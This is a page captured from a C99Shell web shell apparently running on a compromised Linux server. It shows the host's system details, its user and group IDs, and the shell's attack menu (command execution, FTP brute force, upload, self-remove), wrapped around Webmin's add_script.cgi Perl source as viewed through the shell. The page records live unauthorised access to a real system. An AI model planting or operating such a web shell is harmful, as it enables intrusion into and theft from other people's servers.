!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     add_script.cgi (2.44 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Add some third-party scripts

require './virtual-server-lib.pl';
&can_edit_templates() || &error($text{'newscripts_ecannot'});
&error_setup($text{'addscripts_err'});
&ReadParseMime();

# Get the file
if ($in{'source'} == 0) {
    # Local file
    -r $in{'local'} || &error($text{'addscripts_elocal'});
    $file = $in{'local'};
    $name = $in{'local'};
    }
elsif ($in{'source'} == 1) {
    # Uploaded file
    $file = &transname();
    $in{'upload'} || &error($text{'addscripts_eupload'});
    $name = $in{'upload_filename'};
    &open_tempfile(FILE, ">$file");
    print FILE $in{'upload'};
    &close_tempfile(FILE);
    }
elsif ($in{'source'} == 2) {
    # From URL
    ($host, $port, $page, $ssl) = &parse_http_url($in{'url'});
    $host || &error($text{'addscripts_eurl'});
    $file = &transname();
    $name = $page;
    &http_download($host, $port, $page, $file, undef, undef, $ssl);
    }

# Check file type (tar.gz, tar.Z or just .pl script)
open(PFILE, "<".$file);
read(PFILE, $two, 2);
close(PFILE);
if ($two eq "\037\235") {
    $cmd = "uncompress -C ".quotemeta($file)." | tar xf -";
    }
elsif ($two eq "\037\213") {
    $cmd = "gunzip -c ".quotemeta($file)." | tar xf -";
    }
if ($cmd) {
    # Extract to temp dir
    $tempdir = &transname();
    &make_dir($tempdir, 0755);
    $out = &backquote_command("cd $tempdir && $cmd");
    $? && &error(&text('addscripts_etar', $out));
    opendir(DIR, $tempdir);
    foreach $f (readdir(DIR)) {
        next if ($f eq "." || $f eq "..");
        push(@files, [ "$tempdir/$f", $f ]);
        }
    closedir(DIR);
    }
else {
    # Just using a single file
    $name =~ s/^(.*)[\\\/]//;
    @files = ( [ $file, $name ] );
    }
@files || &error($text{'addscripts_enone'});

# Validate filenames
foreach $f (@files) {
    $f->[1] =~ /^(\S+)\.pl$/ || &error(&text('addscripts_efile', $f->[1]));
    }

# Copy into place
&make_dir($scripts_directories[0], 0755);
foreach $f (@files) {
    &lock_file("$scripts_directories[0]/$f->[1]");
    &execute_command("cp ".quotemeta($f->[0]).
             " $scripts_directories[0]/$f->[1]");
    &unlock_file("$scripts_directories[0]/$f->[1]");
    }

# Tell the user
&ui_print_header(undef, $text{'addscripts_title'}, "");
if (@files == 1) {
    ($one = $files[0]->[1]) =~ s/\.pl$//;
    $script = &get_script($one);
    print &text('addscripts_done1', $script->{'desc'}),"<p>\n";
    }
else {
    print &text('addscripts_done', scalar(@files)),"<p>\n";
    }
&run_post_actions();
&ui_print_footer("edit_newscripts.cgi", $text{'newscripts_return'});

&webmin_log("add", "scripts", scalar(@files),
        { 'scripts' => [ map { $_->[1] } @files ] });


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--